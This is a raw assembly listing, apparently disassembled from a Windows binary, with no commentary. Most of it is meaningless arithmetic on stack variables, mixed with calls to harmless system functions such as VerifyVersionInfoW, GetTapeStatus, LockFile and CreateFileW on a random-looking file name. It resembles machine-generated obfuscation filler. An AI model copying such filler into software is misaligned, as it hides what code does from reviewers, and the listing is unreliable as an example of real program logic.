lea rax, [rsp + 0x2bf4]
mov qword [rsp + 0x14b40], rax
mov rax, qword [rsp + 0x13a10]
movzx eax, byte [rax]
imul eax, eax, 0x9b
mov byte [rsp + 0x773], al
mov rax, qword [rsp + 0x14b38]
mov ecx, dword [rsp + 0x52a8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x752c], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4bb50]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9fd8], eax
mov rax, qword [0x140369ff0]
mov ecx, dword [rsp + 0x6ef4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13700]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9848]
mov ecx, dword [rsp + 0x9a24]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x141e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b38]
mov ecx, dword [rsp + 0x9b64]
add ecx, eax
mov eax, ecx
mov dword [0x140369c28], eax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x14b48], rax
movzx eax, byte [rsp + 0x1f1]
mov rcx, qword [rsp + 0x13da0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13980]
mov byte [rcx], al
movzx eax, word [0x1403624b8]
mov word [rsp + 0x2cd0], ax
movsx eax, byte [rsp + 0x743]
movsx ecx, byte [rsp + 0x757]
add eax, ecx
mov byte [rsp + 0x730], al
mov rax, qword [rsp + 0x13640]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9f18]
shl eax, cl
mov dword [rsp + 0x6850], eax
mov rax, qword [rsp + 0x14680]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6ee8]
sar eax, cl
mov rcx, qword [rsp + 0x13fe0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1f3]
movzx ecx, byte [rsp + 0x742]
xor eax, ecx
mov byte [rsp + 0x769], al
lea rax, [rsp + 0x1454]
mov qword [rsp + 0x14b50], rax
mov eax, dword [rsp + 0x9a74]
mov ecx, dword [rsp + 0x9eb8]
or ecx, eax
mov eax, ecx
mov dword [0x140369f88], eax
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9da0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ed8]
mov dword [rcx], eax
lea rax, [rsp + 0x9534]
mov qword [rsp + 0x14b58], rax
mov rax, qword [rsp + 0x13c08]
mov rcx, qword [rsp + 0x12fb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13298]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x49c]
movzx ecx, byte [rsp + 0x76b]
sub eax, ecx
mov rcx, qword [rsp + 0x13590]
mov byte [rcx], al
mov rax, qword [rsp + 0x13898]
movzx eax, word [rax]
mov word [rsp + 0x2cd4], ax
mov rax, qword [rsp + 0x13d18]
mov ecx, dword [rsp + 0x7c50]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9cc0], eax
mov eax, dword [rsp + 0x7438]
mov dword [rsp + 0x9fdc], eax
mov rax, qword [rsp + 0x13490]
mov rcx, qword [0x140369d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x75c4], eax
lea rax, [rsp + 0x9fb8]
mov qword [0x14036a028], rax
mov eax, dword [rsp + 0x9e34]
mov ecx, dword [rsp + 0x9f00]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d98]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x319]
mov rcx, qword [0x140369ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x32c], al
movsx eax, word [rsp + 0x26e0]
movsx ecx, word [rsp + 0x1a88]
sub eax, ecx
mov word [rsp + 0x2cac], ax
movzx eax, word [rsp + 0x2c50]
mov word [rsp + 0x2cd8], ax
movzx eax, byte [rsp + 0x49c]
mov rcx, qword [rsp + 0x13e70]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13128]
mov byte [rcx], al
lea rax, [rsp + 0x954c]
mov qword [rsp + 0x14b60], rax
mov eax, dword [rsp + 0x9f74]
mov ecx, dword [rsp + 0x58d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b28]
mov dword [rcx], eax
movzx eax, word [0x140369bd8]
mov rcx, qword [rsp + 0x13dd0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bb0], ax
mov rax, qword [rsp + 0x14978]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14068]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [0x140369d98]
mov byte [rcx], al
lea rax, [rsp + 0x9b48]
mov qword [rsp + 0x14b68], rax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x135d0]
mov qword [rsp + 0x14b70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14b70]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14860]
mov dword [rcx], eax
mov eax, dword [rsp + 0x94d0]
mov ecx, dword [rsp + 0x9618]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x83d0], eax
mov rax, qword [rsp + 0x14818]
mov rcx, qword [0x140369ba8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9cdc], eax
lea rdx, [rsp + 0x42958]
mov rcx, qword [rsp + 0x14420]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a0c], eax
movzx eax, word [rsp + 0x29ac]
movzx ecx, word [rsp + 0x1ab8]
imul eax, ecx
mov rcx, qword [rsp + 0x138f8]
mov word [rcx], ax
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x14b78], rax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4b370]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9fe0], eax
mov rax, qword [0x14036a020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5c00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x95fc], eax
lea rax, [rsp + 0x9d60]
mov qword [rsp + 0x14b80], rax
mov dword [rsp + 0x20], 0x2d5d
mov r9d, 0xd
mov r8d, 0x3758
mov edx, 0x2886
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9cd4], eax
lea rax, [rsp + 0x2c70]
mov qword [0x14036a030], rax
mov rax, qword [rsp + 0x14328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f8]
add eax, ecx
mov byte [rsp + 0x512], al
movzx eax, byte [rsp + 0x768]
movzx ecx, byte [rsp + 0x72e]
add eax, ecx
mov rcx, qword [rsp + 0x13930]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
lea rax, [rsp + 0x2ccc]
mov qword [rsp + 0x14b88], rax
mov rax, qword [rsp + 0x142d0]
mov ecx, dword [rsp + 0x9a28]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
lea rax, [rsp + 0x6234]
mov qword [rsp + 0x14b90], rax
mov rax, qword [rsp + 0x139a0]
mov rcx, qword [rsp + 0x144f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13768]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4ab90]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9fe4], eax
mov rax, qword [rsp + 0x13ba0]
mov ecx, dword [rsp + 0x5c30]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13ce0]
mov dword [rcx], eax
lea rax, [rsp + 0x9c68]
mov qword [rsp + 0x14b98], rax
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c0]
or eax, ecx
mov byte [rsp + 0x243], al
movzx eax, word [rsp + 0x2c28]
movzx ecx, word [rsp + 0x1f24]
imul eax, ecx
mov rcx, qword [0x140369c80]
mov word [rcx], ax
mov rax, qword [rsp + 0x134f8]
mov eax, dword [rax]
mov dword [rsp + 0x9fe8], eax
mov rax, qword [rsp + 0x13350]
mov rcx, qword [rsp + 0x13890]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14298]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14980]
mov eax, dword [rax]
mov dword [rsp + 0x9fec], eax
mov eax, dword [rsp + 0x9fbc]
mov ecx, dword [rsp + 0x9028]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ac0], eax
movzx eax, byte [rsp + 0x666]
mov rcx, qword [rsp + 0x13f90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13b], al
mov rcx, qword [rsp + 0x14490]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [0x140362448]
mov qword [rsp + 0x14ba0], rax
movsx eax, word [rsp + 0x12cc]
mov rcx, qword [rsp + 0x13148]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c64], ax
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x14ba8], rax
lea rax, [rsp + 0x99e4]
mov qword [0x14036a038], rax
mov rax, qword [rsp + 0x13870]
mov eax, dword [rax]
mov rcx, qword [0x140369e70]
mov qword [rsp + 0x14bb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14bb0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x52a8], eax
mov rax, qword [rsp + 0x13960]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf0]
xor eax, ecx
mov word [rsp + 0x10d4], ax
movzx eax, byte [rsp + 0x337]
movzx ecx, byte [0x140363f0f]
or eax, ecx
mov byte [rsp + 0x2ce], al
mov rax, qword [rsp + 0x132d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e80]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14820]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9c28]
mov dword [rsp + 0x9ff0], eax
mov eax, dword [rsp + 0x9bbc]
mov ecx, dword [0x140362478]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13160]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14460]
mov ecx, dword [rsp + 0x9e08]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14248]
mov dword [rcx], eax
lea rax, [rsp + 0x2c08]
mov qword [rsp + 0x14bb8], rax
movzx eax, byte [rsp + 0x772]
movzx ecx, byte [rsp + 0x769]
add eax, ecx
mov byte [0x1403525c2], al
mov rax, qword [rsp + 0x12f00]
mov rcx, qword [rsp + 0x13b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14330]
mov dword [rcx], eax
lea rax, [rsp + 0x7534]
mov qword [rsp + 0x14bc0], rax
mov rax, qword [rsp + 0x143e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9aac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x13ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14970]
mov dword [rcx], eax
mov rax, qword [0x140369f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9de0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x59f4], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9be8], eax
mov rax, qword [rsp + 0x13bf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x743]
add eax, ecx
mov byte [rsp + 0x74b], al
lea rax, [rsp + 0x2858]
mov qword [rsp + 0x14bc8], rax
mov edx, 0xd0d
mov rcx, qword [rsp + 0x14140]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ff4], eax
mov rax, qword [0x140369e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12e90]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x134d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x178c]
mov word [0x14036a040], ax
lea rax, [rsp + 0x75c4]
mov qword [rsp + 0x14bd0], rax
mov rax, qword [rsp + 0x13818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c04]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x12ff8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13f08]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x2c28], ax
lea rdx, [rsp + 0x43020]
mov rcx, qword [rsp + 0x134a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9ea4], eax
movzx eax, byte [rsp + 0x678]
mov byte [rsp + 0x77c], al
mov eax, dword [rsp + 0x9ce4]
mov rcx, qword [rsp + 0x13a30]
mov qword [rsp + 0x14bd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14bd8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13780]
mov dword [rcx], eax
lea rax, [rsp + 0x7074]
mov qword [rsp + 0x14be0], rax
mov rax, qword [rsp + 0x13318]
mov rcx, qword [rsp + 0x13cc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x143e8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x13168]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9cf8], eax
mov rax, qword [rsp + 0x14998]
mov ecx, dword [rsp + 0x9dd4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14040]
mov dword [rcx], eax
lea rax, [rsp + 0x77c]
mov qword [0x14036a048], rax
mov rax, qword [rsp + 0x13b58]
movzx eax, word [rax]
imul eax, eax, 0xdea
mov word [rsp + 0x16f0], ax
mov rax, qword [0x140369d68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f58], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2846
mov r9d, 0x14b1
mov r8d, 0xfc32ca4a
mov edx, 2
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9e38], eax
lea rax, [rsp + 0x6a84]
mov qword [rsp + 0x14be8], rax
mov rax, qword [rsp + 0x14060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c70]
sub eax, ecx
mov rcx, qword [rsp + 0x14488]
mov word [rcx], ax
movsx eax, byte [rsp + 0x754]
movsx ecx, byte [rsp + 0x491]
and eax, ecx
mov byte [rsp + 0x749], al
lea rax, [rsp + 0x510]
mov qword [rsp + 0x14bf0], rax
movzx eax, word [rsp + 0x2978]
movzx ecx, word [rsp + 0x2c00]
add eax, ecx
mov word [rsp + 0x2c40], ax
mov eax, dword [rsp + 0x8ee8]
mov dword [rsp + 0x9ff8], eax
mov rax, qword [rsp + 0x136f8]
mov rcx, qword [rsp + 0x14a80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140369bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14310]
mov ecx, dword [rsp + 0x9e04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9d04], eax
mov eax, dword [rsp + 0x7254]
mov dword [rsp + 0x9ffc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa000], eax
mov rax, qword [rsp + 0x14770]
mov rcx, qword [rsp + 0x13ad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14a18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x137b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13898]
mov word [rcx], ax
lea rax, [0x140363f5e]
mov qword [rsp + 0x14bf8], rax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x9eb4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13040]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13df0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9f50]
shl eax, cl
mov dword [rsp + 0x8e40], eax
mov eax, dword [rsp + 0x9c74]
mov ecx, dword [rsp + 0x7fd0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b24], eax
lea rax, [rsp + 0x5db8]
mov qword [0x14036a050], rax
mov rax, qword [rsp + 0x13ed0]
movzx eax, word [rax]
movzx ecx, word [0x140369ea8]
sar eax, cl
mov word [rsp + 0x16f0], ax
lea rax, [rsp + 0x72a]
mov qword [rsp + 0x14c00], rax
mov rax, qword [rsp + 0x139f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14938]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x77b], al
lea rax, [rsp + 0x12ac]
mov qword [rsp + 0x14c08], rax
mov rax, qword [0x140369c40]
mov ecx, dword [rsp + 0x9efc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9abc], eax
mov rax, qword [rsp + 0x13b70]
mov ecx, dword [rsp + 0x9e88]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14078]
mov dword [rcx], eax
lea rax, [rsp + 0x745]
mov qword [rsp + 0x14c10], rax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c7c]
imul eax, ecx
mov word [rsp + 0x2c38], ax
mov rax, qword [rsp + 0x14198]
mov rcx, qword [rsp + 0x13d68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1403624e4], eax
lea rax, [0x140369bec]
mov qword [rsp + 0x14c18], rax
mov rax, qword [rsp + 0x13ed8]
mov rcx, qword [rsp + 0x14110]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x146d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9e18]
mov ecx, dword [rsp + 0x9fa8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x134e0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2324]
mov word [rsp + 0x2cdc], ax
movzx eax, byte [rsp + 0x225]
mov rcx, qword [rsp + 0x148c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x73d], al
lea rax, [rsp + 0x9c70]
mov qword [rsp + 0x14c20], rax
lea rcx, [rsp + 0x4c0f0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9fb0], eax
mov rax, qword [0x140369d30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b38]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x142b8]
mov rcx, qword [rsp + 0x13368]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5d50], eax
mov eax, dword [rsp + 0x8340]
mov ecx, dword [rsp + 0x8880]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140369e98]
mov dword [rcx], eax
lea rdx, [rsp + 0x43058]
mov rcx, qword [rsp + 0x14170]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9f70], eax
mov rax, qword [rsp + 0x14300]
mov rcx, qword [rsp + 0x148e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x149e0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2c10]
mov rcx, qword [rsp + 0x14ad0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2cb4], ax
movzx eax, byte [rsp + 0x281]
mov byte [rsp + 0x77d], al
mov rcx, qword [rsp + 0x12f50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f9c], eax
mov rax, qword [rsp + 0x13120]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x630], al
lea rax, [rsp + 0x1a5c]
mov qword [rsp + 0x14c28], rax
mov eax, dword [rsp + 0x9d28]
mov rcx, qword [rsp + 0x12cf8]
mov qword [rsp + 0x14c30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14c30]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12fb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13870]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14b58]
mov qword [rsp + 0x14c38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14c38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9f84], eax
lea rax, [rsp + 0x394]
mov qword [rsp + 0x14c40], rax
lea rdx, [rsp + 0x43090]
mov rcx, qword [rsp + 0x14170]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a0c], eax
movzx eax, word [rsp + 0x1a10]
mov word [0x14036a058], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14210]
mov ecx, dword [rsp + 0x67d8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9e3c], eax
mov rax, qword [rsp + 0x145c0]
mov eax, dword [rax]
mov dword [rsp + 0xa004], eax
mov eax, dword [rsp + 0x9b24]
mov ecx, dword [rsp + 0x9aa0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb0], eax
mov eax, dword [rsp + 0x8a60]
mov ecx, dword [0x140369dfc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f00]
mov dword [rcx], eax
lea rax, [rsp + 0x1560]
mov qword [rsp + 0x14c48], rax
mov edx, 0x1160
mov rcx, qword [rsp + 0x12eb0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9be0], eax
mov rax, qword [rsp + 0x13278]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
sub eax, ecx
mov rcx, qword [rsp + 0x13a38]
mov byte [rcx], al
lea rax, [rsp + 0x9d7c]
mov qword [rsp + 0x14c50], rax
mov rax, qword [rsp + 0x13730]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x56e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8924], eax
movsx eax, word [rsp + 0x2c5c]
mov rcx, qword [rsp + 0x13770]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1403624e8], ax
mov rax, qword [rsp + 0x144b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x139c0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4bc], al
mov rax, qword [rsp + 0x140c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bb8]
add eax, ecx
mov rcx, qword [rsp + 0x13af8]
mov word [rcx], ax
movzx eax, byte [0x140363f5c]
mov rcx, qword [rsp + 0x14bf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x75a], al
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov dword [rsp + 0xa008], eax
mov rax, qword [rsp + 0x145b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f60]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13978]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.ICqCCdpw_feVFA3f7Mgn1EyVAFniYQsZYi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14c58], rax
mov rax, qword [rsp + 0x14108]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x149f8]
mov qword [rsp + 0x14c60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14c60]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8034], eax
mov rax, qword [rsp + 0x13828]
mov ecx, dword [rsp + 0x527c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6218], eax
mov rax, qword [0x14036a028]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12ea8]
mov qword [rsp + 0x14c68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14c68]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14390]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x75b]
mov byte [rsp + 0x77e], al
movzx eax, word [rsp + 0x2bc4]
movzx ecx, word [rsp + 0x2234]
or eax, ecx
mov rcx, qword [0x140369de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14b60]
mov rcx, qword [rsp + 0x13518]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13920]
mov dword [rcx], eax
lea rax, [rsp + 0x8340]
mov qword [rsp + 0x14c70], rax
mov eax, dword [rsp + 0x9a54]
mov ecx, dword [rsp + 0x8ac4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c1c], eax
mov eax, dword [rsp + 0x8ad4]
mov ecx, dword [0x140369c64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c28], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, word [rsp + 0x2c7c]
mov word [rsp + 0x2ce0], ax
movzx eax, byte [rsp + 0x703]
movzx ecx, byte [rsp + 0x37f]
and eax, ecx
mov rcx, qword [rsp + 0x13d80]
mov byte [rcx], al
mov rax, qword [0x14036a010]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14ba8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x407], al
mov rax, qword [rsp + 0x13008]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bd0]
or eax, ecx
mov word [rsp + 0x2c58], ax
mov eax, dword [rsp + 0x645c]
mov ecx, dword [rsp + 0x9f10]
add ecx, eax
mov eax, ecx
mov dword [0x140369b98], eax
mov rax, qword [rsp + 0x13e68]
mov ecx, dword [rsp + 0x9f7c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x602c], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a20], eax
lea rax, [rsp + 0x2cd4]
mov qword [rsp + 0x14c78], rax
mov rax, qword [rsp + 0x13fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x777]
and eax, ecx
mov rcx, qword [rsp + 0x14258]
mov byte [rcx], al
mov rcx, qword [rsp + 0x12f50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa00c], eax
lea rax, [rsp + 0x9bac]
mov qword [rsp + 0x14c80], rax
mov rax, qword [rsp + 0x14388]
mov rcx, qword [rsp + 0x13b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14198]
mov dword [rcx], eax
mov eax, dword [0x140369e34]
mov dword [rsp + 0xa010], eax
mov rax, qword [rsp + 0x13f80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13890]
mov qword [rsp + 0x14c88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14c88]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x76ec], eax
movzx eax, byte [rsp + 0x76d]
movzx ecx, byte [rsp + 0x775]
cdq
idiv ecx
mov rcx, qword [rsp + 0x13288]
mov byte [rcx], al
lea rax, [rsp + 0x1310]
mov qword [0x14036a060], rax
lea rax, [rsp + 0x9708]
mov qword [rsp + 0x14c90], rax
mov rax, qword [rsp + 0x133e0]
mov ecx, dword [rsp + 0x66b0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14298]
mov dword [rcx], eax
lea rax, [rsp + 0x86e8]
mov qword [rsp + 0x14c98], rax
mov eax, dword [rsp + 0x9fc0]
mov rcx, qword [rsp + 0x13fe0]
mov qword [rsp + 0x14ca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14ca0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9a24], eax
mov rax, qword [rsp + 0x13a18]
mov rcx, qword [rsp + 0x13488]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x64b0], eax
lea rax, [0x140369ea4]
mov qword [rsp + 0x14ca8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x141a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x761]
and eax, ecx
mov rcx, qword [rsp + 0x142a8]
mov byte [rcx], al
